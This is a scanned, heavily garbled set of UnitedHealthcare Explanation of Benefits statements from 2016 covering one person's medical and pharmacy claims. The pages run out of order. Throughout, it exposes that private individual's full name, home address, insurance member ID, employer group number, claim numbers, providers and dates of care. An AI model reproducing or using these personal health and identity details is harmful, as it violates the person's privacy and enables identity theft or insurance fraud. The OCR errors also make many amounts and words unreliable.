Itemized Res onsibilit to Provider0 Amount You Uectuctiole (+) Copay (+) Coinsurance (+) Non Covered (=) Owe $0.00 $0.00 $7.89 $0.00 $0.00 $0.00 $7.89 $0.00 -This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. Patient Account Number: 001500765611 Your Itemized Res onsibilit to Provider•• Date(s) of Type of Service Notes* Amount Plan Your Plan Amount You Service Billed (-) Discounts-(-) •--Paid--(=) Deductible (+) Copay (Tl Coinsurance (+) Non Covered(=)-Owe__ •. -l 05/02/2016 OFFICE VISITS D1 $199.00 $73.91 $125.09 $0.00 $0.00 _ $0.00 $0.00 $199.00 $73.91 $125.09 $0.00 $0.00 $0.00 $0.00 Claim Total: ....This total does not reflect any payments I copays you made at the time of service. Please wait for a provider bill before making a payment. STD-EOB Page 3 of 6 Use this EOB statement as a reference or retain as needed S WB-03-480'01 '016848,M0-16130-60311-AFUS 22SYCP fll UnitedHealthcare .,A-ci..,,a.,_, United HealthCare Services"' lnc. GREENSBORO SERVICE 1..,ENTER May 09, 2016 PO BOX 7 40809 ATLANTA.,, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: K ZIESER Claim Number: 594642985401 Patient Account Number: 00150076211 0 Your Itemized Responsibi1it to Provider"* Date(s) of Type of Service Notes• Amount Plan Amount Yo..i vourPfan 1 Service Billed (-) Discounts (-) I -· Paid (=) Deductible (+) Copay (+) Coinsurance (+) Non Covered (=) Owe I 04/21/2016 OFFICE VISITS D1 $199.00 Claim Total: $199.00 Claim Detail for JEFFREY DAMUKAITIS Provider: D MEYER Date(s) of Type of Service Notes• Amount Service Billed (-) $73.91 $112.58 $0.00 $0.00 $12.51 $0. 0 $12.51 $73.91 $112.58 $0.00 $0.00 $12.51 $0.00 **This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Number: 595040413301 Patient Account Number: DAMUKI00O0 Plan '(our.Plan - Discounts (-) ·: Paid .. ' (=) ~ ' 04/18/2016 OFFICE VISITS D1 $140.00 $77.75 $56.03 04/18/2016 MEDICAL D1 $90.00 $43.50 $41 .85 SERVICES Claim Total: $230.00 $121.25 $97.88 **This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. STD-EOB Page 2 of 6 Use this EOB statement as a reference or retain as needed United HealthCare Services,1. Inc. GREENSBORO SERVICE 1..,ENTER PO BOX 740809 ATLANTA, GA 30374-0802 ' SWB-03480~1'016847-M0-16130-60311-AFUS 21SYCP I UnitedHealthcar~ ~ A lntedHoallll ~~ Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. DPS$$$PKG JEFFREY DAMUKAIT1S 2201 WILLOW CREEK DR LITTLE ELM TX 75068-4917 May 09, 2016 Member/Patient lnfonnation Member/Patient: JEFFREY DAMUKAITIS Member ID: A838199653 Relationship: EE 1111,1,111,1•I•111M11h11 111 luu••h11111 11 •"''11111111.•11• '• Group Name: RAYTHEON COMPANY Group#: 0201057 I Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. I STD-EOB Page 1 of 6 Use this EOB statement as a reference or retain as needed 000000973565424 SWL-23138'02'116400-M0-16014-60311-AFUS 22SYCP fl1I United.Healthcare tJD A-~~ United HealthCare Services;.. Inc. GREENSBORO SERVICE vENTER January 14, 2016 PO BOX 740809 ATLANTA,.. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infom,ation. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2015 Annual (-)Applied to (=)Remaining Annual (-)Applied to (=)Remaining JEFFREY FAMILY Amount Date Balance Amount Date Balance Relationship: EE 11\i N'!;TWORK --= !!II NElWORK 1 i1,40o.5B $700.00 $700.00 I Deductible Deductible $700.00 $700.00 Met Out of Pocket $10,000.00 $5,976.01 $4,023.99 Out of Pocket sg'.,000.00 $4,613.07 $386.93 ' I ,. I ;ouT OF1NETWbRK . :· ~! I ,}:f-L '"11 ,.. . !!' " ~ ,¼ ,9uT OF:t:!ETVf.PRK 'il~ji-I ·I Deductible $2,800.00 $496.01 $2,303.99 Deductible $1,400.00 $496.01 $903.99 Out of Pocket $15,000.00 $496.01 $14,503.99 Out of Pocket $7,500.00 $496.01 $7,003.99 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of Deductible: The deductible is the fD<ed dollar amount that you pay each year toward eligible this EOB statement. health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for Plan Year: The dates your plan benefit maximums are applicable. eligible health care services. Please refer to your plan documents for more information. STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 4 S WL-23138'02'116399-M0-16014-6)311 -AFUS 22S'l'CP UnitedHealthcaredA-rn,,ea.­ ~ ... United HealthCare Services;. Inc. GREENSBORO SERVICE vENTER PO BOX 740809 Januar)l 14, 2016 3:: g ATLANTA.. GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. ~ 8 g "' 6 00 You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to ~ the appeal address referenced above. 0 You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149104 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal information is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. STD-EOB Page 3 of 4 Use this EOB statement as a reference or retain as needed 000000879627198 S WL-23138'01"116398-M0-1EOU-60311-AFUS 22SYCP .,. Unit.edHealthcare tll"-~ra...., United HealthCare Services;... Inc. GREENSBORO SERVICE 1....ENTER PO BOX 7 40809 January 14, 2016 ATLANTA.,_ GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit infonnation. Claim Detail for JEFFREY DAMUKAITIS Provider: TEXAS HEALTH Claim Number: 576071326801 Patient Account Number: 3202158499 00F 85004 Your Itemized Res onsibilit to Provider** Date(s) of Type of Service Notes* Amount Plan i. Your Pl•n -, Amount YoL Service Billed (-) Discounts (-) L"' ·· P:aid .· ..(=) Dedc1ctibfe (+) Copay (+) Coinsurance (+) Non Covered{=) Owe !"­ 12109/2015 OP MISC. 02 $4,192.33 $2,120.33 $0.00 $0.00 $0.00 $0.00 SERVICES 12109/2015 OP MISC. 02 $2,096.17 $1,060.17 $1,036.00 $0.00 $0.00 $0.00 $0.00 SERVICES 12109/2015 OP MISC. D2 $883.08 $883.08 $0.00 $0.00 $0.00 $0.00 $0.00 SERVICES 12109/2015 OP MISC. 02 $1,739.00 $1,739.00 $0.00 $0.00 $0.00 $0.00 $0.00 SERVICES 12/09/2015 OP MISC. D2 $584.00 $584.00 $0.00 $0.00 $0.00 $0.00 $0.00 SERVICES 12/09/2015 ADJUSTMENT CA $0.00 -$3,108.00 $0.00 $0.00 $0.00 $0.00 Claim Total: $9,494.68 $6,386.68 $0.00 $0.00 $0.00 $0.00 $0.00 ·. I I 11 **This total does not reflect any payments I copays you made at the time of service. Please wait for a provider bill before making a payment Notes* CA-CORRECTED BILLING OR ADDITIONAL LATE CHARGES HAVE BEEN CONSIDERED. THE CONTRACTED AMOUNT FOR THIS CLAIM WAS PREVIOUSLY ALLOWED AND HAS BEEN ISSUED. NO FURTHER PAYMENT IS DUE. THE PATIENT IS NOT RESPONSIBLE FOR ANY ADDITIONAL CHARGES. D2-THE DISCOUNT SHO\M'II IS YOUR SAVINGS. YOUR NETWORK FACILITY OR HEALTH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU OWE MAY INCLUDE WHAT YOU NEED TO PAY IF YOU HAVE REACHED A BENEFIT LIMITON COVERED HEALTH SERVICES. IF YOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER WEBSITE OR PLAN DOCUMENTS. A review of this benefit detennination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no laterthan 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. STD-EOB Page 2 of 4 Use this EOB statement as a reference or retain as needed 000000879627198 ' 5 WL-23138'01 '118397-M0-16014.fl0311-AFUS 225YCP ! UnitedHealthcar£5 United HealthCare ServicesA Inc. ~ A~~14>Colr1)any GREENSBORO SERVICE l-ENTER PO BOX 740809 ATLANTA, GA 30374-0802 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. 014MEOBSW2002003·08629-09 January 14, 2016 JEFFREY DAMUKAITIS Member/Patient lnfonnation 2201 WILLOW CREEK DRIVE Member/Patient; JEFFREY DAMUKAITIS LITTLE ELM, TX 75068 Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group#: 0201057 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. Claims Summary Detailed claim information is located on the following page(s). :.11...· ,. ..~.:.•! ' -1,·· · ~6,386. 58 -~ -~p,106.00 Plan Discounts ··· _.:­.· . -~, j ,::-' .­; ·. _,., , ' · Yo1,,1r plan negoUates discounts_with providers to ave you money. services that you'are­riot respohsible to pay. . -~­' . Adjustments , · ,~, See de~ails on the following pages. · ' -,,1 Your Plan Paid , .. ,: $0.00 This is the pgrtion of the amount billed th~t wa~ p~id by your:plan. -..­I , • ·. STD-EOB Page 1 of 4 Use this EOB statement as a reference or retain as needed 000000879627196 SW0-03724'02'017888-M0-16089-80311-AFUS 22SYMS United HealthCare Services;.. Inc. GREENSBORO SERVICE vENTER March 29, 2016 PO BOX 740809 ATLANTA.,. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 JEFFREY . Annual Amount (-)Applied to Date (=)Remaining Balance FAMILY Annual Amount (-)Applied to Date (=)Remaining Balance Relationship: EE INNEl.'WORK ,•cj!;, ~-!.. IN NETWORK .-­ Deductible $1,400.00 $700.00 $700.00 Deductible $700.00 $700.00 Jlet Out of Pocket $10,000.00 $3,450.19 $6,549.81 Out of Pocket $5,000.00 $3,450.19 $1,549.81 OUT OF,NElWORK (?Uf OF NETWC>RK Deductible $2,800.00 $0.00 $2,800.00 Deductible $1,400.00 $577.00 $823.00 Out of Pocket $15,000.00 $0.00 $15,000.00 Out of Pocket $7,500.00 $0.00 $7,500.00 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of Coinsurance: The money you pay for health services after you have satisfied the deductible. this EOB statement. Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for health care services before your plan benefits are payable. Once the deductible has been eligible health care services. Please refer to your plan documents for more information. met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year: The dates your plan benefit maximums are applicable. STD-EOB Page 4 of 4 Use this EOB statement as a reference or retain as needed SWD-03724'02'017897-M0-1ecl89.aJ311-PFUS 22S'/MS United HealthCare Services;... Inc. GREENSBORO SERVICE vENTER March 29, 2016 PO BOX 740809 ATLANTA.i. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infonnation. P.O. Box 149104 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. !f services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more infonnation on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The infonnation required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal infonnation is very important to us at United Healthcare.To pro ecryour privacy;-we implemented strict_ confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code infonnation regarding the services referenced in this communication. STD-EOB Page 3 of 4 Use this EOB statement as a reference or retain as needed S WD~724'01'017896-M0-10089-60311-AFUS 22SYMS UnitedHealthcare ~A-Qq°""'"" United HealthCare Services;...Inc. GREENSBORO SERVICE 1.,ENTER March 29, 2016 PO BOX 740809 ATLANTA.a. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: A PURYEAR Claim Number: 590407296901 Patient Account Number: 317749 Your Itemized Res onsibilit to Provider"* Date(s) of Type of Service Notes• Amount Plan Voi.ir Pian 1 Amount You Service Billed (-) Discounts (-) . · Paid , . . ("') Deductible (+) Cupay (+) Coinsurance (+) Non Covered(=) Owe _.' , ~ ;!-·,, I f 03/15/2016 OFFICE VISITS 01 $60.00 $12.34 $42.89 . Claim Total: $60.00 $12.34 $42.89 $0.00 $0.00 $4.77 $0.00 Notes* " This total does not reflect any payments I copays you made at the time of service. Please wait for a provider bill before making a payment 01 -THE DISCOUNT SHOWN IS YOUR SAVINGS. YOUR NETWORK PHYSICIAN OR HEALTH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU OWE MAY INCLUDE V\/HAT YOU NEED TO PAY IF YOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IF YOU NEED MORE . INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER WEBSITE OR PLAN DOCUMENTS. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. if your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe STD-EOB Use this EOB statement as a reference or retain as needed Page 2 of 4 0000009416820-45 United HealthCare Services,1,. Inc. GREENSBORO SERVICE l,ENTER PO BOX 740809 ATLANTA, GA 30374-0802 S W0~3724~ 1"017895-M0-16089-60311·AFUS 22SYMS IJjiAUN~!~ealthcar~ Have more questions about your cfaim? Visit www.myuhc.com for all your claim and benefit information. JEFFREY DAMUKAITIS 2201 WILLOW CREEK DRIVE LITTLE ELM, TX 75068 March 29, 2016 Member/,Patient lnfonnation Member/Patient JEFFREY DAMUKAITIS Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group#: 0201057 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. Claims Summary Detailed claim information is located on the following page(s). Dollar Amount Description ­ J ­ ..,, , Amount Billed . , !;;~,!~.:· ' ,;,·, .., $60.00 ,. ,T.his is the tot.a, amount that your provider billed for the services that were provided to you. . · Plan Discounts · I I' .~ , ,1 , ; · , . ,.,1. 1 $12.34 Your pfan negotiates discounts with providers to save you money. This ·amount may also include . . s~~~ce~ that you are pot responsible to pay. . ' . . · i-· .' ...,;· ,. ·· · Your Plan Paid .. . . , , , ,:lit; _, ·· , • $42.89 This !s the portion of lhe amount billed that was paid by your plan. 1~;, :-;r ·. •1 , _ _ Jotahmount you owe the provider(s) =--f --==="""'=,_.,...,,......,,....,,=-'°"=" .,...,_,..,.,,,..,..,.....,...,.. The portion Qrtli)e Amount BiUed you owe the provider(s).-::-This amount does oot.renecta:ny-•--=­payment you may ha\l_e already made.at th~ timeJyouJ:eceived.care.-This~amount rn'ay.incl_ud~ Y(?,4 . _ __ , q_eduf?{ibl'e _co-pay, ooins.urance·aod/o.r non covered cl)arges. This amountdoes 1"!9linclude @RY ' :__ _ · · paymenfs made'to tne subsc11betr. ~f a payment'.was made directly to the subscdber,_YQu/the-_·_· · subscriber is~resp_onsibfe·for paying the physician. facility or other health care professional .. · ·" c1· _, •.When coordination ofbenefits. applies, tliis arn<>unt will inclu.de) ayrnents ·m~de: td tt,e $Ubs£1i~·r~ , Page 1 of 4 STD-EOB Use this EOB statement as a reference or retain as needed 000000941882045 SWA-19232"04"095092-M0-16046-60311-AFUS 22:SYMS UnitedHealthcare OJ A~~~ United HealthCare Services,. Inc. GREENSBORO SERVICE 1.,ENTER PO BOX 740809 February 15, 2016 ATLANTA, GA 30374-0802 Phone: 1-o0D-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit infomiation. Definitions of Key Terms Deductible: The deductible is the f1Xed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance Period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year. The dates your plan benefit maximums are applicable. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. STD-EOB Page 8 of 8 Use this EOB statement as a reference or retain as needed S WA-19232"04'095091·M0·10046-60311·AFUS 22:SYMS United HealthCare Services;.. Inc. GREENSBORO SERVICE 1..,ENTER Februar; 15, 2016 PO BOX 740809 ATLANTA.,. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Maintaining the privacy and security of individuals' personal information is ver; important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 JEFFREY Annual Amount (-)Applied to Date (=)Remaining Balance FAMILY Annual Amount (-)Applied to Date (=)Remaining Balance Relationship: EE IN .NETWORK 1r:,i NET'{'JOR~ · ..~ ·­ ·­ Deductible $1,400.00 $575.90 $824.10 Deductible $'f00.00 $575.90 $124.10 Out of Pocket $10,000.00 $1,998.33 $8,001.67 Gut of Pocket $5,000.00 $1,998.33 $3,001.67 .OUT OF NETWORK OUT OF NElWORK' - Deductible $2,800.00 $0.00 $2,800.00 Deductible $1,400.00 $413.00 $987.00 Out of Pocket $15,000.00 $0.00 $15,000.00 Out of Pocket $7,500.00 $0.00 $7,500.00 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of Copay: A fee you pay each time you see a provider, receive a service, or fill a prescription. this EOB statement STD-EOB Page 7 of 8 Use this EOB statement as a reference or retain as needed S WA-19232"03"095090-M0-16046-&1311-AFUS 22SYMS UnitedHealthcare Q.I A~~~ United HealthCare Services,_ Inc. GREENSBORO SERVICE vENTER February 15, 2016 PO BOX 740809 ATLANTAA GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149104 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online Al almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). STO-EOB Use this EOB statement as a reference or retain as needed Page 6 of 8 000000906122174 S WA-19Zl2"03'095089-M0-16046-60311-AFUS 225'/MS United HealthCare Services;.. Inc. GREENSBORO SERVICE .._,ENTER February 15, 2016 PO BOX 740809 ATLANTA.i. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your daim and benefit infom,ation. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 957763525101 Patient Account Number: CAR PHARMACY CLM Date(s) of Type of Service Notes• Amount Plan t Your Plan Service Billed (-) Discounts <-)I Paid (c) 02/10/2016 PRESCRIPTION FB $0.00 $0.00 $0.00 DRUGS Claim Total: $0.00 $0.00 $0.00 Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 957873372701 -*This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. Patient Account Number: CAR PHARMACY CLM Date(s) of Type of Service Notes• Amount Plan -V.our,Pfan -·· Service Billed (-) Discounts (-) Paid . ("') I 02/11/2016 PRESCRIPTION FB $0.00 $0.00 $0.00 DRUGS Claim Total: $0,00 $0,00 $0.00 ... This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. Notes* FB -THIS CLAIM WAS PROCESSED BY THE PHARMACY DRUG BENEFIT PROGRAM. THIS ONLY SHOWS THE AMOUNT YOU PAID FOR THIS PRESCRIPTION. IT DOES NOT SHOWTHE TOTAL COST OF THE PRESCRIPTION DRUG OR AMOUNT PAID BY THE PLAN. WE APPLIED THIS AMOUNT TO YOUR PLAN DEDUCTIBLE AND/OR OUT OF POCKET/COINSURANCE MAXIMUM. IF YOU HAVE QUESTIONS RELATED TO THIS PHARMACY CLAIM, PLEASE CONTACT YOUR PHARMACY DRUG BENEFIT PROGRAM. A review of this benefit detem,ination may be requested by submitting your appeal to us in writing at the following address: UniteclHealthcare Appeals, P.O. Box 30432, Salt STD-EOB Page 5 of 8 Use this EOB statement as a reference or retain as needed S WA-19232"02'095088-M0-16045-60311-AFUS 22:SYMS UnitedHealthcare IJJA-°"'-!>""'­ United HealthCare Services,,._Inc. GREENSBORO SERVICE 1.,ENTER February 15, 2016 PO BOX 7 40809 ATLANTA,., GA 30374-0802 Have more questions about your claim? Phone: 1-o00.638-8884 Visitwww.myuhc.com for all your claim and benefit infonnation. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 957097864601 Patient Account Number: CAR PHARMACY CLM Your Itemized Res onsibili to Provider"* Date(s) of Type of Service Notes• Amount Plan = Your Plan Amount You Service Billed (-) Discounts (-) Paid -'(=) Deductible (...) Copay (+) Coinsurance (...) Non Cuvered (=) Owe Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 957654422801 Patient Account Number: CAR PHARMACY CLM Date(s) of Type of Service Notes• Amount Plan YourPlan . Amount You Service Billed (-) Discounts (-) Paid ("') Deductible (+J Cop.iy (+) Coinsurance (+) Non Covered ("-) Owe STO-EOB Use this EOB statement as a reference or retain as needed Page 4of 8 S W/l-19232'02"095087-M0-16046-60311-AFUS 22SYMS il11 UnitedHealthcare fl A-&,,.c,ea.­ United HealthCare Services;... Inc. February 15, 2016 GREENSBORO SERVICE vENTER PO BOX 740809 ATLANTA.,_ GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infonnation. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 957037025901 Patient Account Number: CAR PHARMACY CLM Your Itemized Res onsibllit to Provider"* Date(s) of Type of Service Notes* Amount Plan ,,.. Your Plan Amount You Service Billed (-) Discounts (-) t ' Paid ("') Deductible (+) Copay (+) Coinsurance (+) Non Covered (=) Owe r I 02/03/2016 PRESCRIPTION FB $0.00 $0.00 $0.00 DRUGS Claim Total: $0.00 $0.00 $0,00 $0.00 $7.00 $0.00 $0.00 $7.00 ...This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 957040264601 Patient Account Number: CAR PHARMACY CLM Your Itemized Res onsibili to Provider** Date(s) of Type of Service-Notes• -Amount Plan --· -­ ,,_ Your~ lan-Amount You Service Billed (-) Discounts (-) .Paid Deductible (+) Copay {+) Coinsurance (+) Non Covered t=) Owe t,, •• i ~ .i=> STD-EOB Page 3 of 8 Use this EOB statement as a reference or retain as needed S WA-19232-01'095088-M0-16046-00311-AFUS 22SYMS United HealthCare Services;,. Inc. GREENSBORO SERVICE vENTER February 15, 2016 PO BOX 740809 ATLANTA.1. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infonnation. Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 956763485901 Patient Account Number: CAR PHARMACY CLM Date(s) of Service Type of Service Notes* Amount Billed (-) Plan Discounts (-) Your Pian ' -Paid -:(=) l 02/01/2016 PRESCRIPTION DRUGS FB $0.00 $0.00 $0.00 Claim Total: $0.00 $0.00 $0.00 Claim Detail for JEFFREY DAMUKAITIS Provider: Pharmacy Claim Number: 957033555101 Your Itemized Res onsibilit to Provider*• Date(s) of Type of Service Notes* Amount Plan Your Plan Amount You Service Billed (-) Discounts (-) . Paid Deductible (+) Copay (+) Coinsurance (+) Non Covered(-) Owe 02103/2016 PRESCRIPTION DRUGS FB $0.00 $0.00 $0.00 Claim Total: $0.00 $0.00 $0.00 $0,00 $16.62 $0.00 $0.00 $16.62 .,.This total does not reflect any payments / copays you made at the time of service. Please wait for a provider bill before making a payment. STD-EOB Page 2 of 8 Use this EOB statement as a reference or retain as needed United HealthCare Services, Inc. GREENSBORO SERVICE CENTER PO BOX 740809 ATLANTA, GA 30374-0802 5 WA-19232'01 '095085-M0-16048-60311-AFUS 21SYMS UnitedHealthcar~ 1W AUni-~~ Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. DPS$$$PKG JEFFREY OAMUKAITIS 2201 WILLOW CREEK DR LITTLE ELM TX 75068-4917 I11I111111111I1111 II I11I111II I I1111' •IIIIII I II, u i I,11 d111111 •'1 February 15, 2016 Member/Patient Information Member/Patient: JEFFREY DAMUKAITIS Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group#: 0201057 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. Claims Summ! ry Detailed claim information is located on the following page(s). Dollar.Amount ·oescriptron-...,. ::,-1 • ,o.:_.. :r r Amoun1 Billed . . . $0.00 This is the total amount that your provider billed for the services that were provided to you. Plan Discounts . . : . . . -;1-! $0.00 Your plan negotiates d~coun_ts. with pro'i.liders to ·,~ve you mon~y. This__amount, ?l~Y'a,tso !~elude, I 1 11 services that you are notresponsibte to pay. , , • • • !' 1 1' I . .'l Your Plan Paid . · . , I · . $0.00 